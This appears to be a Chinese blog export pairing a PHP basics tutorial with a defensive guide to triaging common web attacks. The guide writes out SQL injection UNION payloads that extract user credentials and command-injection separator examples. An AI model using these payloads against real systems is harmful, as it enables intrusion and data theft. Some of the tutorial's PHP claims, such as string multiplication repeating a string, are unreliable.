反引号”``”:通常用于执行操作系统命令或外部程序,并获取其输出. 如下例子: 12345678910<?php$a = 10; // 定义一个变量$y = 'Hello world!$a'; // 单引号不会解析变量echo $y;echo "<br>";$x = "Hello PHP!$a"; // 双引号可以解析变量echo $x;echo "<br>";$z = `dir`;echo $z; 2. 整型(integer)整型数据只能包含整数. 整型数据的特征: 必须至少有一个数字(0-9) 不能包含逗号或者空格 没有小数点 可以是正数也可以是负数 整形数据可以用三种常见格式来指定: 十进制 十六进制(0x为前缀) 八进制(0为前缀) 测试不同的数字123456789101112<?php $x = 4399;\tvar_dump($x);\techo "<br>"; $x = -520; // 负数\tvar_dump($x);\techo "<br>"; $x = 0x8C; // 十六进制数\tvar_dump($x);\techo "<br>";\t$x = 047; // 八进制数\tvar_dump($x); php7特性含有十六进制字符的字符串不再被视为数字,而是被当作普通的字符串 12345<?php$number = "0xFF";$result = $number * 2;echo $result; // 输出:0# 在 PHP 7.3 中,"0xFF" 被视为普通字符串,而不是数值.因此,将其乘以 2 的操作实际上是对字符串进行了重复连接,结果为 "0xFF0xFF",最后被转换为数值时为 0 12345<?php\t// 以下是php5.6\t$number = "0xC98D3";\t$result = $number * 2;\techo $result; // 输出:1651110 3. 浮点型(float/double)浮点数是有小数点或指数形式的数字. 如下例子,测试不同数字: 123456789<?php $x = 8.4264;\tvar_dump($x);\techo "<br>"; $x = 1.1e3;\tvar_dump($x);\techo "<br>"; $x = 8E-5;\tvar_dump($x); 4. 布尔型(boolean)布尔值概念: 只保存两个值:true值和false值; 值不区分大小写,即true=TRUE,false=FALSE; 设定一个布尔型的变量,只需将true值或者false值直接赋值给变量; 12345678910<?php $a=true; // true ==1 $b=false; // false == 0 var_dump(true); echo "</br>"; var_dump(false); echo "</br>"; echo 880+true; echo "</br>"; echo 880+false; 5. 数组(array)数组(Array) 数组是一系列相关数据的集合,以某种特定的方式进行排列,形成一个整体 可以是相同的数据类型,也可以是不同的数据类型 在PHP里数组的索引可以是数字,也可以是字符串 数组例子123456789101112131415161718192021<?php // id 数组 $array_PHP = array("good", "study", "everything"); // 写法1 var_dump($array_PHP); echo "</br>"; $array_Name = array(); // 写法2 $array_Name[0]="张三"; $array_Name[1]="李四"; $array_Name[2]="王五"; var_dump($array_Name); echo "</br>"; // 关联数组 $array_Key = array("姓名"=>"钟馗","成绩"=>100,"班级"=>"2班"); // 写法1 var_dump($array_Key); echo "</br>"; $array_Key = array(); // 写法2 $array_Key1["姓名"] = "钟馗"; $array_Key1["成绩"] = 100; $array_Key1["班级"] = "2班"; var_dump($array_Key1); echo "</br>"; 6. 对象(object)object(对象),面向对象编程在PHP中非常重要, 特点:封装,多态,继承. 对象是存储数据和有关如何处理数据的信息的数据类型. 在 PHP 中,必须明确地声明对象. 首先我们必须声明对象的类,对此,我们使用 class 关键词,类是包含属性和方法的结构. 12345678910<?phpclass This_Test{ public function test(){ echo "这是This_Test类里面的test方法"; }}$a = new This_Test(); // 创建一个This_Test类的实例$a->test(); // 调用实例的test方法,将输出一条消息 7. NULL 值PHP中一种特殊的数据类型,表示空值,即表示没有为该变量设置任何值null(空值)不区分大小写,null和NULL是一样的.被赋空值可能有三种情况:没有赋什么值、被赋空值null、被unset()函数处理过的变量. 1234<?php $this_Null = "Hello PHP"; $this_Null = null; var_dump($this_Null); 8. 资源(Resource) 资源是一种特殊的变量类型,它保存着对外部数据源的引用,如文件、数据库连接等,直到通信结束. 数据库持久连接是一种比较特殊的资源,它不会被垃圾回收系统释放,需要手动释放. 五、PHP 常量PHP常量是一个简单值的标识符,该值在脚本中不能改变;常量值被定义后,在脚本的其他任何地方都不能被改变.一个常量由英文字母、下划线、和数字组成,但数字不能作为首字母出现. (常量名不需要加$修饰符). 常量在整个脚本中都可以使用. 设置 PHP 常量设置常量,使用 define() 函数 语法1234567891011define (string $name , mixed $value [, bool $case_insensitive = false ] ) : bool在运行时定义一个常量.$name:常量名$value 常量的值;在 PHP 5 中,value 必须是标量( integer、 float、string、boolean、NULL)在 PHP 7 中还允许是个 array 的值.$case_insensitive 如果设置为 TRUE,该常量则大小写不敏感.默认是大小写敏感的.比如, CONSTANT 和 Constant 代表了不同的值.Note:大小写不敏感的常量以小写的方式储存.返回值:成功时返回 TRUE, 或者在失败时返回 FALSE. 以下例子我们创建一个区分大小写的常量, 常量值为 欢迎来到我的世界 12345678<?php // 区分大小写的常量名 define("WELCOME", "欢迎来到我的世界"); echo WELCOME; // 输出 "欢迎来到我的世界" echo '<br>'; echo welcome; // 输出 "welcome" echo defined(WELCOME); # 判断常量是否被定义 // const 变量名=值 结果:报错是未定义常量 以下例子我们创建一个不区分大小写的常量, 常量值为 欢迎来到我的世界 1234567<?php define("WELCOME", "欢迎来到我的世界",true); echo WELCOME; // 输出 "欢迎来到我的世界" echo '<br>'; echo welcome; // 输出 "welcome" echo defined(WELCOME); # 判断常量是否被定义 // const 变量名=值 另一种定义常量的方法: 123<?php const WELCOME="欢迎来到我的世界"; echo WELCOME; 常量是全局的常量在定义后,默认是全局变量,可以在整个运行的脚本的任何地方使用. 如下是在函数外定义常量,在函数内使用常量 1234567<?php define("WELCOME", "欢迎来到我的世界"); function test() { echo WELCOME; } test(); // 欢迎来到我的世界 注意事项 不能重复定义 常量的名字一般使用大写字母 常量的值只能是标量 常量的作用域是全局的 输出的时候没有$符号 常量不能写到字符串中 系统常量123456789101112131415161718<?php\techo "</br>"; echo __FILE__; #当前文档名以及所在路径 echo "</br>"; echo __LINE__; #代码所在行 echo "</br>"; echo __DIR__; #当前文件所在路径 echo "</br>"; echo PHP_OS; #获取系统信息 echo "</br>"; echo PHP_VERSION; #获取版本信息 echo "</br>"; function test(){ echo __FUNCTION__; #获取当前函数名 } test(); echo "</br>"; echo M_PI; #圆周率g'm 六、PHP 字符串 PHP中的字符串是一种常见的数据类型,用于表示和操作文本数据.字符串可以包含字母、数字、符号以及其他特殊字符.您可以使用引号(单引号或双引号)来创建字符串. 123<?php\t$test="Hello PHP!";\techo $test; 当您赋一个文本值给变量时,请记得给文本值加上单引号或者双引号. 字符串常用函数和运算符连接运算符(并置运算符)使用并置运算符.可以将两个字符串连接在一起 1234<?php $test1 = "Hello php"; // 定义字符串变量 $test1,赋值为 "Hello php"\t$test2 = "study hard !"; // 定义字符串变量 $test2,赋值为 "study hard !"\techo $test1 . "</br>" . $test2; // 使用并置运算符连接两个字符串,并输出结果.注意:"</br>" 是用于在 HTML 中换行显示的标签. 字符串常用函数1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950<?php // 字符串长度 $test1 = "Hello php"; // 使用strlen()函数可以获取字符串的长度,即包含的字符数 echo strlen($test1); // 字符串查找 /* * 参数说明: $haystack:要搜索的字符串. $needle:要查找的子字符串. $offset(可选):指定从哪个位置开始查找,默认为 0. * 返回值: 如果找到子字符串,则返回第一次出现的位置(位置从 0 开始). 如果未找到子字符串,则返回 false.*/ echo "</br>"; echo strpos($test1,"p"); // 字符串索引 // 字符串中的每个字符都可以通过索引访问.注意,PHP中的字符串索引是从0开始的 echo "</br>"; echo $test1[0]; // 获取第一个字符,输出:H // 字符串截取 // 使用substr()函数可以从字符串中提取一个子字符串 /* 参数说明: $string:要提取子串的源字符串. $start:指定开始提取的位置.如果为负数,则从字符串末尾开始计数. $length(可选):指定要提取的子串长度.如果未指定,则提取从 $start 位置到字符串结束的所有字符. 返回值: 如果提取成功,则返回提取的子串. 如果提取失败,则返回 false. * */ echo "</br>"; echo substr($test1,0,5); // 字符串替换 // 使用str_replace()函数可以将字符串中的指定内容替换为新的内容 /* 参数说明: $search:要替换的子字符串,可以是一个字符串或一个字符串数组. $replace:替换子字符串的新字符串,可以是一个字符串或一个字符串数组.如果 $replace 是一个数组,那么它的元素将与 $search 的对应元素一一替换. $subject:源字符串,即要进行替换操作的字符串. $count(可选):传递一个变量作为引用,在函数执行后保存实际进行的替换次数. 返回值: 返回替换后的字符串,如果 $subject 参数是一个数组,则返回一个替换后的数组. * */ echo "</br>"; echo str_replace($test1, "php", "wonima"); 七、PHP 条件语句在日常程序编程时,我们需要不同的判断执行不同的动作,此时我们就可以用到条件语句来实现. 在 PHP 中,提供了下列条件语句: if 语句 - 在条件成立时执行代码 if…else 语句 - 在条件成立时执行一块代码,条件不成立时执行另一块代码 if…elseif…else 语句 - 在若干条件之一成立时执行一个代码块 switch 语句 - 在若干条件之一成立时执行一个代码块 时间复杂度这两种语句的时间复杂度主要受到条件的数量和嵌套程度的影响. 通常情况下,它们的时间复杂度都是O(1),因为它们的执行时间不随输入数据的增加而增加. 在实际使用中,更重要的是选择合适的条件语句以保持代码的可读性和可维护性. 运算符运算符 算术运算法 + - * / %(求模又称取余数) 自增自减运算符 ++ -- 比较运算符 < >= <= == === != !== == 只判断值而不比较数据的类型 === 比较值和类型 逻辑运算符 && 逻辑与 并且有一个为假就是假多个为假的还是假只有同时为真的时候才是真 || 逻辑或 或者只要有一个为真就是真多个同时为假才是假的 ! 取反 就是假变成真的真的变成假的 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465<?php\t// 10.1 算术运算符 $a = 10; $b = 5; // 加法 echo $a + $b; // 结果为 15 echo "</br>"; // 减法 echo $a - $b; // 结果为 5 echo "</br>"; // 乘法 echo $a * $b; // 结果为 50 echo "</br>"; // 除法 echo $a / $b; // 结果为 2 echo "</br>"; // 求模 echo $a % $b; // 结果为 0 echo "</br>"; // 10.2 自增自减运算符: // 自增 echo $a++; // $a 的值变为 11 echo "</br>"; // 自减 echo $a--; // $a 的值变为 10 echo "</br>"; // 10.3 比较运算符: $a = 5; $b = 10; // 小于 var_dump($a < $b); // 结果为 true echo "</br>"; // 大于等于 var_dump($a >= $b); // 结果为 false echo "</br>"; // 等于 var_dump($a == $b); // 结果为 false echo "</br>"; // 不等于 var_dump($a != $b); // 结果为 true echo "</br>"; # 10.4 比较运算符(进一步说明==和===): $b = "5"; // == 只判断值而不比较数据类型 var_dump($a == $b); // 结果为 true echo "</br>"; // === 比较值和数据类型 var_dump($a === $b); // 结果为 false echo "</br>"; // 10.5 逻辑运算符 $a = true; $b = false; // 逻辑与 var_dump($a && $b); // 结果为 false echo "</br>"; // 逻辑或 var_dump($a || $b); // 结果为 true echo "</br>"; // 取反 var_dump(!$a); // 结果为 false echo "</br>"; 为false几种情况 整型的0在进行判断的时候为假,整型的1在判断的时候为真 如果浮点的0.0000000都是假的只要后面有一个是非零的数字即为真 空字符串为假如果中间有一个字符都是真那怕是一个空格 空字符串的0即为假其他皆为真 空数组为假 null作为判断条件的时候是假的 if 语句if 语句用于仅当指定条件成立时执行代码. 12345# 语法:if (条件){ 条件成立时要执行的代码;} 如下例子,当分数grade大于等于60时,输出”及格”: 123456<?php\t$grade=61;\tif ($grade>=60)\t{ echo "及格";\t} if…else 语句在条件成立时执行一块代码,条件不成立时执行另一块代码 语法: 1234567if (*条件*){\t*条件成立时执行的代码;*}else{\t*条件不成立时执行的代码;} 如下例子,当分数大于等于60,输出”及格”,否则输出”不及格”: 123456789<?php\t$grade=51;\tif ($grade>=60)\t{ echo "及格";\t}\telse{ echo "不及格";\t} if…elseif…else 语句在若干条件之一成立时执行一个代码块 请使用 if…elseif…else 语句.. 语法: 123456789101112if (条件){ if 条件成立时执行的代码;}elseif (条件){ elseif 条件成立时执行的代码;}else{ 条件不成立时执行的代码;} 如下例子,当分数大于等于80,输出”优秀”,大于等于60输出”及格”,小于60输出”不及格”: 12345678910111213<?php\t$grade=51;\tif ($grade>=80)\t{ echo "优秀";\t}\telseif($grade>=60)\t{ echo "及格";\t}\telse{ echo "不及格";\t} Switch 语句 当你需要根据不同的条件执行不同的代码块时,PHP中的switch语句是一个非常有用的工具.它提供了一种在多个选项之间进行选择的结构,可以减少大量的if-else嵌套. switch语句由一个表达式和一系列case分支组成.表达式的值将与每个case分支的值进行比较,找到匹配的分支后,执行相应的代码块.如果没有任何匹配的分支,还可以选择执行一个可选的default分支. 1234567891011switch (expression) { case value1: // 代码块1 break; case value2: // 代码块2 break; // 可以有更多的 case 分支 default: // 默认代码块} Switch 语句判断成绩例子: 123456789101112131415161718192021<?php\t$num=51;\tswitch ($num)\t{ case $num>=90 && $num<=100: echo "你的成绩等级为A"; break; case $num>=80 && $num<90: echo "你的成绩等级为B"; break; case $num>=60 && $num<80: echo "你的成绩等级为C"; break; case $num>=0 && $num<60: echo "你的成绩等级为D"; break; default: echo "你输入的成绩有误,请重新输入."; break;\t}?>","tags":["PHP","编程语言"]},{"title":"攻防演练事件研判篇","path":"/2023/07/13/d9d69399/","content":"总字符数: 26.54K 代码: 2.50K, 文本: 13.76K 预计阅读时间: 1.18 小时 分析研判技术网络安全攻击类型 暴力破解 xss跨站脚本攻击 目录遍历 恶意通信 永恒之蓝勒索病毒 权限提升 SQL注入 文件上传漏洞 命令注入 挖矿病毒 Log4j远程代码执行 网络安全攻击危害 经济损失和业务损失,黑客的攻击会导致受害者业务中断、数据泄露;严重时,可以让一家公司的年利润化成了泡影;若攻击政企单位,将会造成办理日常业务受阻和政企单位自身系统收到损害,影响正常社会运转 人身安全.云时代,甚至未来的IOT时代,安全将影响每个人的生命安全.例如:黑客利用漏洞查看病人信息,入侵医疗系统设备.无人驾驶汽车和机场的航线监控系统.每漏掉一次及其危险的威胁,在未来都有可能影响到人身安全和社会安全 对整个互联网环境的破坏,将服务器变成”肉鸡”,使其攻击其他主机,如果服务器上有重要的数据:信用卡、个人隐私,就会流入到黑产行业中,会让整个互联网环境日益恶化. 研判方法 导出最近七天的日志,日志条件:源地址,目的地址,事件名称,时间,规则ID,发生次数等 根据动作、地址、事件名称、时间等信息进行研判 防护方法发生攻击前 渗透测试 漏洞扫描 发生攻击后 应急响应 安全加固 暴力攻击&DDos攻击暴力破解的攻击方法 暴力破解的产生原因是因为服务器端没有做限制,导致攻击者可以通过暴力破解的手段破解用户所需要的信息,如用户名、密码、验证码等.暴力破解需要有庞大的字典,暴力破解的关键在于字典的大小.不仅仅是密码破解.暴力破解还可用于发现Web应用程序中的隐藏页面和内容. 基本原理就是使用字典中的内容进行一一尝试,如果匹配成功了,提示该用户名密码正确,如果匹配失败,那么会继续进行尝试; 暴力破解 传统的暴力攻击中,攻击者只是尝试字母和数字的组合来顺序生成密码;消耗时间长,取决于系统和密码的长度. 为了发现隐藏页面,攻击者会尝试猜测页面名称,发送请求并查看响应.如果该页面不存在,它将显示响应404,成功的话就会响应200.这样,它可以在任何网站上找到隐藏页面. 用于破解散列并从给定散列中猜出密码.这样的话,哈希是从随机密码生成的,然后此哈希与目标哈希匹配,直到攻击者找到正确的哈希. 穷举法:根据输入密码的设定长度,选定的字符集生成可能的密码全集 字典攻击法:将出现频率最高的密码保存到文件中,这个文件就叫字典 彩虹表攻击:也属于字典攻击法的一种,核心思想为:将明文计算得到的HASH由函数映射回明文空间,交替计算明文和HASH,生成哈希链 逆向暴力破解破解密码采用相反的方法,攻击者针对多个用户名尝试一个密码,直到找到匹配组合 暴力破解的危害及防御危害 密码被盗取,针对个人信息与政企系统信息被泄露 服务器性能收到影响甚至被控制,设备瘫痪,服务器死机,例如:ssh暴力破解 防护 设计安全的验证码(安全的流程+复杂可用的图形) 认证错误对提交次数给予限制,比如错误三次三小时内不可登录 双因素认证 员工和个人的安全意识,系统做好定期修复漏洞,员工意识到位,让不发分子没有可乘之机 DDos攻击的攻击方法 分布式拒绝服务(Distributed Denial of Service)攻击是一种恶意企图,通过大量互联网流量压倒目标或其周围的基础架构来破坏目标服务器,服务或网络的正常流量.DDoS攻击通过利用多个受损计算机系统作为攻击流量来源来实现有效性.被利用的机器可以包括计算机和其他网络资源,例如物联网设备.从高层次来看,DDoS攻击就像堵塞高速公路的交通堵塞,阻止了常规交通到达其所需的目的地. 应用程序层攻击(OSI第七层攻击) HTTP洪水攻击:类似于同时在大量不同计算机的web浏览器中一次次按下刷新键,大量的http请求涌向服务器 协议攻击 协议攻击又称状态耗尽攻击,这类攻击会过度消耗服务器资源和负载均衡器之类的网络设备资源 容量耗尽攻击 试图通过消耗目标与较大的互联网之间的所有可用带宽带来造成拥塞,攻击运用某种方法攻击或其他生成大量流量的手段 DDos攻击症状迹象 最明显的症状就是网站或者服务突然变慢或者不可用 对于单个也没或者端点的请求数量出现不明原因的激增 奇怪的流量模式:夜里出现不自然的访问,或者有规律的访问(每10分钟激增一次) DDos攻击的防护措施危害 业务受损,服务器因DDos攻击造成无法访问,会导致客流量的严重流失,进而对整个平台和企业的业务造成严重影响 形象受损,服务器无法访问会导致用户体验下降、用户投诉增多等问题. 当网站被打到快瘫痪时,维护人员的全部精力都在抗DDos上面,攻击者窃取数据、感染病毒、恶意欺骗等犯罪活动更容易得手 防护 高仿IP,通过把域名解析到高仿IP上,并配置源站IP.所有公网流量都经过高仿IP机房,通过端口协议转发的方式将访问流量通过高仿IP转发到源站IP,同时将恶意攻击流量在高仿IP上进行清洗过滤后,将正常流量返回给源站IP,从而确保源站IP稳定访问 软件防火墙:在服务器上使用软件防火墙,或者通过设置相关脚本,过滤掉这些异常流量.企业可以使用简单的命令和专用服务器的软件防火墙,来获取攻击者的IP地址、与服务器的连接数,将其屏蔽. 黑洞路由 速率限制 WEB应用程序防火墙 anycast网络扩散 XSS跨站脚本攻击XSS攻击的原理 跨站脚本在英文中称为Cross–Site Scripting,缩写为CSS.但是由于层叠样式表(Cascading Style Sheets)的缩写也为CSS, 为不与其混淆,特将跨站脚本缩写为XSS,指恶意攻击者利用网站漏洞往Wb页面里插入恶意代码,从而在用户浏览网页的时候,控制用户 浏览器的一种攻击.一般需要满足以下条件: 客户端访问的网站是一个有漏洞的网站,但是他没有意识到 在这个网站中通过一些手段放入一段可以执行的代码,吸引客户执行 客户点击后,代码执行,可以达到攻击目的. XSS攻击的种类存储型XSS 嵌入到web页面的恶意HTML会被存储到应用服务器端,简而言之就是会被存储到数据库,等用户在打开页面时,会继续执行恶意代码,能够持续的攻击用户.(危害最大) 反射型XSS 发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传回给浏览器,最后浏览器解析执行XSS代码.这个过程像一次反射,故叫反射型XSS. DOM型XSS 通过JavaScript,可以重构整个HTML文档,就是说可以添加,移除等等,对页面的某个东西进行操作时,JavaScript就需要获得对HTML文档中所有元素进行访问的入口.这个入口就是DOM,所以在DOM型的XSS漏洞利用中,DOM可以看成是一个访问HTML的标准程序接口.(全程前端,没有后端参与) XSS攻击的攻击流程 攻击者寻找具有漏洞的网站 攻击者给用户发了一个带有恶意字符串的链接 用户点击了该链接 服务器返回HTML文档,但是该文档此时不包含那个恶意字符串 客户端执行了该HTML文档里的脚本,然后把恶意脚本植入了页面 客户端执行了植入的恶意脚本,XSS攻击就发生了 XSS攻击的危害及防御危害 cookie劫持:通过XSS漏洞,我们可以轻易的将JavaScript代码注入被攻击用户的页面并用浏览器执行 CSRF:使用XSS可以实现CSRF,不过XSS只是实现CSRF的诸多途径中的一条 例如:用户的Cookie设置了httponly,无法轻易获取cookie的内容.但是由于我们可以控制用户的页面脚本(XSS),我们可以利用脚本向后台发送命令,此时浏览器会给请求带上被攻击的Cookie.如:$.put('/tranferMoney?from=account&to=account&mount=10000') XSS钓鱼:这里需要结合<iframe>点击劫持 直接在当前页面动态模拟创建登录窗口 location.href="jiangjiyue.github.io"重写当前内容设置假的url 获取用户信息,例如:蜜罐反制 XSS蠕虫 防护 基于特征的防御:传统的XSS防御在进行攻击鉴别时多采用特征匹配方式,主要是针对JavaScript这个关键词进行检索 基于代码修改的防御: Web页面开发者在编写程序时往往会出现一些失误或漏洞,Xss攻击正是利用了失误和漏洞,因此一种比较理想的方法就是通过优化Web应用开发来减少漏洞,避免被攻击 用户向服务器上提交信息时要对URL和附带的HTTP头,POST数据进行查询,对于不是规定格式,长度内容进行过滤 实现Session标记,captcha系统或者HTTP引用头检查,防止被第三方网站利用 确认接受的内容被妥善的规范化,仅包含最小的、安全的tag、去掉任何对远程内容的引用,使用httponly的cookie 客户端分层防御策略 对于每一个网页分配独立线程且分析资源消耗的网页线程分析模块 包含分层防御策略四个规则的用户输入分析的模块 保存互联网的XSS恶意网站信息的XSS payload数据库 SQL注入攻击SQL注入的原理 SQL注入即是指wb应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在wb应用程序中事先定义好的查询语句的结尾上添加额外的$QL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息. SQL注入的种类 数值型注入:前台页面输入的参数是数字,字段类型是数值 字符型注入:前台页面输入的参数是字符串,字段类型是字符 单引号字符注入:select * from user where username='zhangsan' 双引号字符注入:select * from user where username="zhangsan" 括号字符注入:select * from user where id =(1) 盲注:在无法构造回显位置时使用 其他类型注入:例如get注入,post注入,cookie注入,http header注入等 get注入:以get的方式进行提交,注入点一般在get提交的url后面,可以用bp抓包进行查找 post注入:以post的方式进行提交,注入点一般在表单的填写处,资料的填写处,也可以用bp抓包的进行查找. http头部注入:user-agent判定用户的操作系统;cookie:用户的身份识别,跟踪可以存储在用户本地的数据,clientip:保存客户端ip的参数 SQL注入的攻击流程 判断注入类型(数字型or字符型) 猜解SQL查询语句中的字段数:1' or 1=1 order by 10 --+ 确定字段的显示顺序:1' union select 1,2 --+ 获取当前数据库:1' union select 1,database() --+ 获取数据库中的表:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 获取表中的字段名:1' union select 1,group_concat(cloumn_name) from information_schema.columns where table_name='users' --+ 下载数据:1' union select 1,group_concat(id,username,password) from users --+ SQL注入的危害及防御危害 盗取用户数据和隐私,这些数据被打包贩卖,或用于非法目的后,轻则损害企业品牌形象,重则将面临法律法规风险. 攻击者可对目标数据库进行”增删改查”,一旦攻击者删库,企业整个业务将陷于瘫痪,极难恢复. 攻击者添加管理员帐号.即便漏洞被修复,如果企业未及时察觉账号被添加,则攻击者可通过管理员帐号,进入网站后台. 植入网页木马程序,对网页进行篡改,发布一些违法犯罪信息 防护 提高开发人员的安全意识 通过各种技术手段防御 使用云服务提供商的安全产品 保存互联网的XSS恶意网站信息的XSS payload数据库 文件上传文件上传的原理 网站Wb应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个webshell到一个Web可访问的目录上,并将恶意文件传递给如PHP解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作.还有一部分是攻击者通过Wb服务器的解析漏洞来突破Web应用程序的防护. 文件上传的绕过方式 JavaScript检查:Bp在文件上传时进行截断改文件后缀名 服务端检测:MIME类型的检查、文件扩展名检查、目录路径的检查、检测文件内容是否包含恶意代码等方法 文件上传的攻击流程 文件上传的危害及防御危害 上传文件是病毒或木马时,主要用于诱骗用户或者管理员下载执行或者直接运行 上传文件是Flash的策略文件crossdomain.xml时,黑客用于控制Flash在该域下的行为 上传文件是钓鱼图片或者包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈 防护 文件上传的目录设置为不可执行 判断文件类型:结合使用MIME Type、后缀检查等方式,对于图片的处理,可以使用压缩函数或者resize函数(破坏图片中可能包含的HTML代码) 使用随机数改写文件名和文件路径 单独设置文件服务器的域名 限制上传文件大小 确保上传文件被访问返回正确,(禁止过多返回路径等其他敏感信息) CSRF跨站请求伪造CSRF的原理 CSRF(Cross-site request forgery,中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF攻击者盗用了你的身份,以你的名义发送恶意请求.CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账…..造成的问题包括:个人隐私泄露以及财产安全 CSRF的攻击方法自动发起Get请求将恶意的请求接口隐藏在img标签内,欺骗浏览器这是一张图片资源,当该页面被加载时,浏览器会自动发起img的资源请求,如果服务器没有对该请求做判断的话,那么服务器就会认为该请求是一个恶意请求 自动发起POST请求黑客在他的页面中构建了一个隐藏的表单,该表单的内容就是系统的转账接口.当用户打开该站点之后,这个表单会被自动执行提交;当表单被提交之后,服务器就会执行转账操作.因此使用构建自动提交表单这种方式,就可以自动实现跨站点POST数据提交. 引诱用户点击链接通常出现在论坛或者恶意邮件上.黑客会采用很多方式去诱惑用户点击链接 CSRF的攻击流程 攻击者发现CSRF漏洞 构造代码 发送给受害人 受害人打开 受害人执行代码 完成攻击 CSRF的危害及防御危害 网络连接:利用防火墙内用户的浏览器间接的对他所想访问的资源发送网络请求. 获知浏览器的状态;当浏览器发送清求时,通常情况下,网络协议里包含了浏览器的状态. 改变浏览器的状态.当攻击者借助浏览器发起一个请求的时候,浏览器也会分析并相应服务端的response; 防护 验证token值:在请求中放入黑客所不能伪造的信息,这个信息就是以参数的形式随机生成的token(在http请求头里),在服务器端加入拦截器去验证token,如果token不正确或者不存在,可以认定是一个csrf的请求并且拒绝 验证HTTP头的Referer 用XMLHttpRequest附加在header里 只使用JSON API 命令执行命令执行的原理 在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码中调用代码或命令执行函数去处理. 比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞.同样调用系统命令处理,将造成命令执行漏洞. 定义:用户提交的数据被服务器处理擎当做系统命令语句片段执行. 命令执行的攻击流程 常见位置:参数值、Cookie值、X-Forwarded-For、Referer、User-Agent、Host理论上,注入点存在与HTTP请求的任何位置 多命令执行123456789101112windows:"|","||","&","&&"例:ping 127.0.0.1|whoami 直接执行后面的语句ping 127.0.0.1||whoami 前面语句执行出错 执行后语句ping 127.0.0.1&whoami 都执行ping 127.0.0.1&&whoami 前为假不执行Liunx:";","&","&&","|","||","$()",'XX'例:id;lswhoami & touch awhoami $ (touch a)whoami `touch a` 命令执行的危害及防御危害 可以直接控制服务器 可以通过提权控制服务器 防护 尽量不要使用系统执行命令 使用硬编码:将参数固定,避免直接读取用户提交数据 命令确实需要动态调整,可将内容固定为一个选择列表 在进入执行命令函数之前,变量一定要做好过滤,对敏感字符进行过滤或者转义 不能完全控制的危险函数应当被禁止 恶意通信恶意通信介绍 定义:主机访问恶意IP或恶意域名、主机与通信端存在恶意通信流量. 常见的恶意IP地址是僵尸网络中被控制的主机地址,其次是受恶意程序攻陷的IP地址. 恶意域名惯用的手段是诱导用户访问不安全的网址,这类网址通常被植入木马、病毒程序等恶意代码,在用户不知情的情况下,利用伪装的网站服务内容诱导用户访问. 隐蔽隧道通信Socks隧道 socks是一种代理服务,可以说是一个升级版的Icx(内网端口转发工具). Socks有socks4和socks5两种类型,socks4只支持TCP协议,而socks5支持TCP/UDP协议. 通过在靶机上配置Socks服务,让恶意主机通过Socks客户端连接Socks服务,进而实现跳板攻击. socks协议中有交互协议,当访问某个网站的时候,浏览器会把被访问目标的URL和服务端口交给socks服务端进行解析,socks服务端解析后代替浏览器去访问目标网站,将结果返回给浏览器. 端口转发必须要知道访问端口,并只能一对一;而socks支持一对多 注:SOCKS是”Sockets”的缩写. Socks5 Socks5 是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递.Socks5工作在比HTTP代理更低的层次.Socks5是一个代理协议,它在使用TCP/IP协议通讯的前端机器和服务器机器之间扮演一个中介角色,使得内部网中的前端机器变得能够访问Internet网中的服务器,或者使通讯更加安全.Socks5服务器通过将前端发来的请求转发给真正的目标服务器,模拟了一个前端的行为.在这里,前端和Socks5之间也是通过TCP/IP协议进行通讯,前端将原本要发送给真正服务器的请求发送给Socks5服务器,然后Socks5服务器将请求转发给真正的服务器. ICMP隧道 ICMP协议ICMP(Internet Control Message Protocol)) Internet控制报文协议.它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息.控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息.这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用. ICMP隧道原理 由于ICMP报文自身可以携带数据,而且ICMP报文是由系统内核处理的,不占用任何端口,因此具有很高的隐蔽性. 通常ICMP隧道技术采用ICMP的ICMP_ECHO和ICMP_ECHOREPLY两种报文,把数据隐藏在ICMP数据包包头的选项域中,利用ping命令建立隐蔽通道. 进行隐蔽传输的时候,肉鸡(防墙内部)运行并接受外部攻击端的ICMP_ECHO数据包,攻击端把需要执行的命令隐藏在ICMP_ECHO数据包中,肉鸡接收到该数据包,解出其中隐藏的命令,并在防火墙内部主机上执行,再把执行结果隐藏在ICMP_ECHOREPLY数据包中,发送给外部攻击端. ICMP隧道优缺点 优点 防火墙对ICMP_ECHO数据包是放行的,并且内部主机不会检查ICMP数据包所携带的数据内容,隐蔽性高 缺点 ICMP隐蔽传输是无连接的,传输不是很稳定,而且隐蔽通道的带宽很低 利用隧道传输时,需要接触更低层次的协议,这就需要高级用户权限 C&C通信 C&C的全称是Command and Control,即命令及控制.攻击者可以利用C&C技术.盗取受害主机上的机密数据,也可以操控大量的C&C客户端发动DDoS攻击.有时,攻击者也会将C&C作为APT攻击的一个环节,为进一步实施攻击做准备. 危害 大多数网络边界防护手段比较有效,这使得攻击者很难从外部直接联系目标主机.然而,对于从内部发起的网络连接,往往却没有进行严格的限制,这就给了攻击者可乘之机.C&C通信过程针对这个”漏洞”进行了设计.当受害主机已经被植入恶意程序,通常该程序会建立一个出方向的连接,攻击者成功接触到内网主机后即可进行如下几种类型的操作: 横向移动 机密数据盗取 DDoS攻击 APT攻击 通信方式 C&C通信过程中包含两个重要角色: C&C服务器:由黑客控制的主机, C&C客户端:被植入恶意程序的受害主机. 